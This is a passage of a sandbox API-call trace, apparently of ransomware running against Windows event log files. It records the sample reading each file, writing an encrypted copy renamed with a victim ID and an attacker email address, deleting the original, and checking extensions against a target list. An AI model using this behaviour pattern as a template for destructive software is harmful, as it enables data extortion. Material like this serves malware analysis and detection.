GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.714] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.714] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.714] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.714] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.715] GetLastError () returned 0x0 [0102.715] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.718] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.721] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.721] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x124, lpOverlapped=0x0) returned 1 [0102.721] SetEndOfFile (hFile=0x34c) returned 1 [0102.721] CloseHandle (hObject=0x34c) returned 1 [0103.164] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.164] SetEndOfFile (hFile=0x38c) returned 1 [0103.166] CloseHandle (hObject=0x38c) returned 1 [0103.166] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.167] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0103.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.167] lstrlenW (lpString=".doc") returned 4 [0103.167] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.167] lstrlenW (lpString=".docx") returned 5 [0103.167] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.167] lstrlenW (lpString=".pdf") returned 4 [0103.167] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.167] lstrlenW (lpString=".xls") returned 4 [0103.167] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.167] lstrlenW (lpString=".xlsx") returned 5 [0103.167] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.167] lstrlenW (lpString=".ppt") returned 4 [0103.167] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.167] lstrlenW (lpString=".zip") returned 4 [0103.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString=".rar") returned 4 [0103.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString=".bz2") returned 4 [0103.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString=".7z") returned 3 [0103.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.168] lstrlenW (lpString=".dbf") returned 4 [0103.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.168] lstrlenW (lpString=".1cd") returned 4 [0103.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.168] lstrlenW (lpString=".jpg") returned 4 [0103.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.168] lstrlenW (lpString=".doc") returned 4 [0103.168] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.168] lstrlenW (lpString=".docx") returned 5 [0103.168] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.168] lstrlenW (lpString=".pdf") returned 4 [0103.168] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString=".xls") returned 4 [0103.169] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString=".xlsx") returned 5 [0103.169] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.169] lstrlenW (lpString=".ppt") returned 4 [0103.169] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.169] lstrlenW (lpString=".zip") returned 4 [0103.169] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString=".rar") returned 4 [0103.169] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString=".bz2") returned 4 [0103.169] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString=".7z") returned 3 [0103.169] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.169] lstrlenW (lpString=".dbf") returned 4 [0103.169] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.169] lstrlenW (lpString=".1cd") returned 4 [0103.169] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0103.169] lstrlenW (lpString=".jpg") returned 4 [0103.169] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.170] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.170] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0103.170] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.170] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0103.170] CloseHandle (hObject=0x38c) returned 1 [0103.170] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0103.170] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.171] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.171] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.172] GetLastError () returned 0x0 [0103.172] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.175] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.178] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.178] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x130, lpOverlapped=0x0) returned 1 [0103.178] SetEndOfFile (hFile=0x34c) returned 1 [0103.178] CloseHandle (hObject=0x34c) returned 1 [0103.181] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.181] SetEndOfFile (hFile=0x38c) returned 1 [0103.183] CloseHandle (hObject=0x38c) returned 1 [0103.183] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.183] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0103.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.184] lstrlenW (lpString=".doc") returned 4 [0103.184] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".docx") returned 5 [0103.184] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.184] lstrlenW (lpString=".pdf") returned 4 [0103.184] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".xls") returned 4 [0103.184] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".xlsx") returned 5 [0103.184] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.184] lstrlenW (lpString=".ppt") returned 4 [0103.184] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.184] lstrlenW (lpString=".zip") returned 4 [0103.184] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".rar") returned 4 [0103.184] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".bz2") returned 4 [0103.184] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.184] lstrlenW (lpString=".7z") returned 3 [0103.184] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.185] lstrlenW (lpString=".dbf") returned 4 [0103.185] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.185] lstrlenW (lpString=".1cd") returned 4 [0103.185] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.185] lstrlenW (lpString=".jpg") returned 4 [0103.185] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.185] lstrlenW (lpString=".doc") returned 4 [0103.185] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString=".docx") returned 5 [0103.185] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.185] lstrlenW (lpString=".pdf") returned 4 [0103.185] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString=".xls") returned 4 [0103.185] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString=".xlsx") returned 5 [0103.185] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.185] lstrlenW (lpString=".ppt") returned 4 [0103.185] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.186] lstrlenW (lpString=".zip") returned 4 [0103.186] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.186] lstrlenW (lpString=".rar") returned 4 [0103.186] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.186] lstrlenW (lpString=".bz2") returned 4 [0103.186] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.186] lstrlenW (lpString=".7z") returned 3 [0103.186] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.186] lstrlenW (lpString=".dbf") returned 4 [0103.186] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.186] lstrlenW (lpString=".1cd") returned 4 [0103.186] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0103.186] lstrlenW (lpString=".jpg") returned 4 [0103.186] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.186] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.186] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0103.186] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.187] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0103.187] CloseHandle (hObject=0x38c) returned 1 [0103.187] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0103.187] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.187] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.187] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.187] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.188] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.188] GetLastError () returned 0x0 [0103.188] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.191] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.194] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.194] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x130, lpOverlapped=0x0) returned 1 [0103.195] SetEndOfFile (hFile=0x34c) returned 1 [0103.195] CloseHandle (hObject=0x34c) returned 1 [0103.198] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.198] SetEndOfFile (hFile=0x38c) returned 1 [0103.200] CloseHandle (hObject=0x38c) returned 1 [0103.200] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.200] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0103.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.201] lstrlenW (lpString=".doc") returned 4 [0103.201] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".docx") returned 5 [0103.201] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.201] lstrlenW (lpString=".pdf") returned 4 [0103.201] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".xls") returned 4 [0103.201] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".xlsx") returned 5 [0103.201] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.201] lstrlenW (lpString=".ppt") returned 4 [0103.201] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.201] lstrlenW (lpString=".zip") returned 4 [0103.201] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".rar") returned 4 [0103.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".bz2") returned 4 [0103.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.201] lstrlenW (lpString=".7z") returned 3 [0103.201] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.202] lstrlenW (lpString=".dbf") returned 4 [0103.202] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.202] lstrlenW (lpString=".1cd") returned 4 [0103.202] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.202] lstrlenW (lpString=".jpg") returned 4 [0103.202] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.202] lstrlenW (lpString=".doc") returned 4 [0103.202] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString=".docx") returned 5 [0103.202] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.202] lstrlenW (lpString=".pdf") returned 4 [0103.202] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString=".xls") returned 4 [0103.202] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString=".xlsx") returned 5 [0103.202] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.202] lstrlenW (lpString=".ppt") returned 4 [0103.202] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.203] lstrlenW (lpString=".zip") returned 4 [0103.203] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.203] lstrlenW (lpString=".rar") returned 4 [0103.203] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.203] lstrlenW (lpString=".bz2") returned 4 [0103.203] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.203] lstrlenW (lpString=".7z") returned 3 [0103.203] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.203] lstrlenW (lpString=".dbf") returned 4 [0103.203] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.203] lstrlenW (lpString=".1cd") returned 4 [0103.203] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0103.203] lstrlenW (lpString=".jpg") returned 4 [0103.203] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.203] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.203] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0103.203] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.204] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0103.204] CloseHandle (hObject=0x38c) returned 1 [0103.204] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0103.204] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.204] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.204] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.205] GetLastError () returned 0x0 [0103.205] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.741] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.743] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, 